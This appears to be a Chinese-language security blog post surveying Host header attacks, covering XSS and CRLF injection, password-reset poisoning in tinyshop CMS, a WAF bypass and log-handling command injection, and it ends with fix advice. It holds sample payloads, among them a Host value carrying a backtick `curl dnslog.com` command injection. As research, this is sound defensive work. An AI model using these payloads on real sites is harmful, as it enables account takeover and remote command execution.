林林总总的Host Header Attack

年前的时候，在微博上看到有师傅链接了acunetix官方的一篇名为What is a Host Header Attack?的paper。一共讲了3种关于host头攻击的利用技巧。

https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/

我翻看了一下，基本都被我去年写的一份内部研究报告包含了。现在打算把这份报告贴出来供社区共享学习，如有补充可以交流。

一般通用web程序是如果想知道网站域名不是一件简单的事情，如果用一个固定的URI来作为域名会有各种麻烦。

开发人员一般是依赖HTTP Host header（比如在php里是 $_SERVER["HTTP_HOST"] ），而这个header很多情况下是靠不住的。而很多应用是直接把这个值不做html编码便输出到了页面中。

host头攻击（host header attack）的定义就是篡改Request请求中的host字段来对任意启用未经校验直接调用该字段取值的功能函数。其实从根本性质上讲，host头攻击应该归属于http域变量注射类的攻击。

URL跳转钓鱼

添加X-Forwarded-Host字段头对host攻击过滤进行绕过，是一种非常常见的手法，这类攻击常见于AWVS的扫描结果当中。但是由于其利用条件问题，我一直对这类攻击不做推崇，也基本不会向厂商提交这种“无厘头”漏洞。

客户端反显类攻击

反显类，其实就是在源码上将host头字段的内容再输出到前端，这类漏洞最为明显的就是XSS漏洞了，实在形成不了XSS，那也可以造成一定程度的HTML污染。

curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'" http://example.com/ fgrep cow\"

污染后的前端渲染结果就会出现如下一行代码

除了XSS以外在http头字段可以做的就是http域变量的注射类的攻击，例如CRLF等

curl -H "Host: www.nsfocus.com/r/nSet-Cookie: user=admin”

但是这类攻击其实也和上一种一样，攻击条件和环境复杂，也是我不太喜欢的攻击模式，可能是思路不够精彩发光23333。

URL Hacking

这里拿出之前黑帽SEO的案例出来说一嘴。去年在某银行接到一起应急，其实就是二级域名泛解析批量建站提SEO的问题。然后在应急过程中针对那些恶意域名一波fuzz，得到一些好玩的东西。

emmmm...

然后我又试了一下不可描述.evil.com

emmmm...

当时的技术部分的研究报告已经作为威胁预警发出来了，参考如下链接。

https://open.work.weixin.qq.com/wwopen/mpnews?mixuin=3_HVCQAABwBuIkeyAAAUAA&mfid=WW0326-m0m-dQAABwAL4jiOSdt51AGdFl71c&idx=0&sn=6c12b49e4388ee5b159a24d6937f23a3&from=timeline&isappinstalled=0

除了这个案例，另外还在一起应急响应中遇到了一次WAF Bypass事件。某些厂商的WAF在配置站点时，需配置其协议头，即http/https，如果该网站是https，那么你就会配置https://www.protected.com，但是在内网中除了使用https，同时也使用了http，所以做了如下篡改。

修改为

（target也要修改一下https为http）

自然而然就穿透了各种防护，来到你面前~

密码钓鱼重置

这个漏洞可能是在host头攻击领域遇到最多也是最具有实用价值的问题了，我在某些银行，社交等站点也多次遇到该问题。这里以tinyshop CMS为例，简单分析其原理。

tinyshop在用户忘记密码时，可以生成找回密码邮件，该功能的对应函数是forget_act()，先生成32位随机数再取hash作为私密的safecode，再把safecode拼接进入重置链接，发送给用户来重置密码，这个地方是没错的 。

这边调用了一个格式化函数fullUrlFormat，跟进该函数看到其使用了getHost()来获得当前网站自身的域名

调用getHost的时候$_host变量的值默认是null。所以会依次尝试取$_SERVER[‘HTTP_HOST’]和$_SERVER[‘SERVER_NAME’]作为拼接url的域名使用。而$_SERVER[‘HTTP_HOST’]是直接未经过滤就取值客户端传递的host头部的值，显而易见这里是存在host头攻击污染的。

环境搭起来测试一下，我是使用的163作为后台配置邮箱。配置如下。

进入前台找回密码，输入受害者的邮箱。

截包修改forget_act对应action的数据包中的host字段为自己的dnslog平台域名，然后forward。

接着受害者就会在邮箱中收到带有假的重置链接的重置邮件，受害者点进去后就向攻击者可控的dnslog平台发送了一条带有safecode的链接。接下来的事情就是顺水顺舟了。

全部过程看起来行云流水，一帆风顺，但是如此简单易用的漏洞真的在现实攻击中那么好用吗？并不是，因为最关键的那一步涉入了用户交互，而一切带有用户交互的漏洞往往在其严重性上会大打折扣，这也是最为遗憾的。

日志转储命令注入

这个漏洞最先是在cplushua在freebuf课程里看到的，之后翻阅了portswigger的研究员的一份名为Cracking The Lens的paper中也看到了一些影子。

其实漏洞的本质是来源于管理员的配置问题，在某些管理员配置一些服务器日志时，会引入host字段。在企业中，可能存在这样的现象，一台负载或一台反代后可能架设好几台不同域名站点的服务器，而运维管理员往往会对这些反代记录下的日志进行切割处理，将同一域名进行切割处理打包。

在nginx中这里可能会用的三个配置变量为，$server_name，$host，$http_host。$server_name 是一个directive，用来匹配请求的host头，$http_host与$host表示请求的host头，区别在于$http_host会带有端口号(非80/443)。

而攻击者可以在域名中加入一些命令注入的语句，例如:

GET / HTTP/1.1

Host:`curl dnslog.com/example.com`.example.com

那么我们也就得到一个命令注入漏洞啦~

站在巨人的肩膀上RCE

host头攻击最为常见的回显还是在邮件位置，密码重置经历了一层用户交互，高危不幸变成中危；

PHPMailer RCE（CVE-2016-10033）—> WordPress Core RCE（CVE-2017-8295）；

巨人的肩膀：PHPMailer存在远程代码执行漏洞（CVE-2016-10033）

站在巨人的肩膀上的RCE：Wordpress小于4.7.1版本存在邮件发送远程代码执行漏洞（CVE-2017-8295）

这样是不是就知道我为什么这么起标题了：）

修复问题

针对一般企业而言，实际业务系统的修复就是把$_SERVER["HTTP_HOST"]写死为实际应用系统的域名即可。

而最为复杂的修复其实是针对通用类框架的修复，这种修复往往存在一些难解的问题，例如域名匹配上存在的缺陷，这种就有点类似针对URL Redirecting和SSRF漏洞的修复，还有针对X-Forwarded-Host字段的绕过检查，以及类似HPP思路下的host头污染，这些都是需要考虑的问题。像Django这类框架已经在这个问题上付出了很大的心血。

总结

其实归根结底，Host头攻击这类漏洞并不具有特征性，他们之所以归类在一起只是因为测试过程的输入输出数据的篡改点在host字段，还是秉承了web测试的基本普遍性的特点，再铺开研究其实还是http域变量注射的问题。

Refererence

1、利用HTTP host头攻击的技术，龙臣；

2、HTTP盲攻击的几种思路，CplusHua；

3、http://schin.space/nginx/NGINX-关于nginx中$host-$server_name-$http_host的区别/；

3、https://portswigger.net/kb/papers/CrackingTheLens-whitepaper.pdf；

4、https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface.pdf；